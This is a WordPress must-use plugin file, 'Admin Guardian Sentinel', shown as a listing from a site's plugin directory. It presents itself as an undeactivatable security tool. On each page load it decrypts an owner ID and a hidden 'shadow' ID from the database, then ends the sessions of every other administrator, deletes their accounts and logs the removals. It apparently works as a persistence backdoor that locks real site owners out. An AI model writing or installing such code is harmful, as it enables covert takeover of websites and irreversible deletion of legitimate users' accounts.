File "admin-wp-sentinel.php"
Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/mu-plugin/admin-wp-sentinel.php
File size: 4.07 KB
MIME-type: text/x-php
Charset: utf-8
<?php
/**
* Plugin Name: Admin Guardian Sentinel
* Description: Autonomous security sentinel. Cannot be deactivated from the admin panel.
* Version: 1.0.0
* Author: AWG
*/
if ( ! defined( 'ABSPATH' ) ) exit;
final class AWG_Sentinel {
private static $booted = false;
public static function boot(): void {
if ( self::$booted ) return;
self::$booted = true;
add_action( 'init', [ __CLASS__, 'check' ], 0 );
}
public static function check(): void {
if ( self::main_plugin_active() ) return;
self::emergency_scan();
}
/* ---- is the main plugin loaded? ---- */
private static function main_plugin_active(): bool {
return defined( 'AWG_VERSION' );
}
/* ---- standalone admin scan (no dependency on main plugin classes) ---- */
private static function emergency_scan(): void {
$owner_id = self::get_encrypted_option( '_awg_oid' );
$shadow_id = self::get_encrypted_option( '_awg_sid' );
if ( ! $owner_id && ! $shadow_id ) return;
global $wpdb;
$admin_ids = $wpdb->get_col(
"SELECT u.ID FROM {$wpdb->users} u
INNER JOIN {$wpdb->usermeta} um ON u.ID = um.user_id
WHERE um.meta_key = '{$wpdb->prefix}capabilities'
AND um.meta_value LIKE '%administrator%'"
);
$whitelist = array_filter( [ (int) $owner_id, (int) $shadow_id ] );
foreach ( $admin_ids as $uid ) {
$uid = (int) $uid;
if ( in_array( $uid, $whitelist, true ) ) continue;
self::destroy_sessions( $uid );
self::delete_user( $uid, (int) $owner_id );
self::log_sentinel( "Removed unauthorized admin ID={$uid}" );
}
}
/* ---- decrypt option (minimal, self-contained) ---- */
private static function get_encrypted_option( string $key ) {
if ( ! function_exists( 'sodium_crypto_secretbox_open' ) ) return null;
$raw = get_option( $key, null );
if ( ! $raw ) return null;
$master = self::derive_key();
if ( ! $master ) return null;
$decoded = base64_decode( $raw, true );
if ( ! $decoded || strlen( $decoded ) < SODIUM_CRYPTO_SECRETBOX_NONCEBYTES + 1 ) return null;
$nonce = substr( $decoded, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES );
$ct = substr( $decoded, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES );
$plain = sodium_crypto_secretbox_open( $ct, $nonce, $master );
if ( $plain === false ) return null;
return json_decode( $plain, true );
}
private static function derive_key(): ?string {
if ( ! defined( 'AUTH_KEY' ) || ! defined( 'SECURE_AUTH_KEY' ) ) return null;
$salt = defined( 'AWG_PLUGIN_SALT' ) ? AWG_PLUGIN_SALT : 'awg_fallback_' . DB_NAME;
$material = AUTH_KEY . SECURE_AUTH_KEY . $salt;
return sodium_crypto_generichash( $material, '', SODIUM_CRYPTO_SECRETBOX_KEYBYTES );
}
/* ---- user operations (standalone) ---- */
private static function destroy_sessions( int $uid ): void {
$manager = WP_Session_Tokens::get_instance( $uid );
$manager->destroy_all();
}
private static function delete_user( int $uid, int $reassign = 0 ): void {
if ( ! function_exists( 'wp_delete_user' ) ) {
require_once ABSPATH . 'wp-admin/includes/user.php';
}
wp_delete_user( $uid, $reassign > 0 ? $reassign : null );
}
/* ---- simple file log ---- */
private static function log_sentinel( string $msg ): void {
$log = get_option( '_awg_incident_log', [] );
$log[] = [
'type' => 'sentinel_action',
'details' => $msg,
'time' => current_time( 'mysql' ),
'ip' => $_SERVER['REMOTE_ADDR'] ?? 'cli',
];
if ( count( $log ) > 200 ) {
$log = array_slice( $log, -200 );
}
update_option( '_awg_incident_log', $log, false );
}
}
AWG_Sentinel::boot();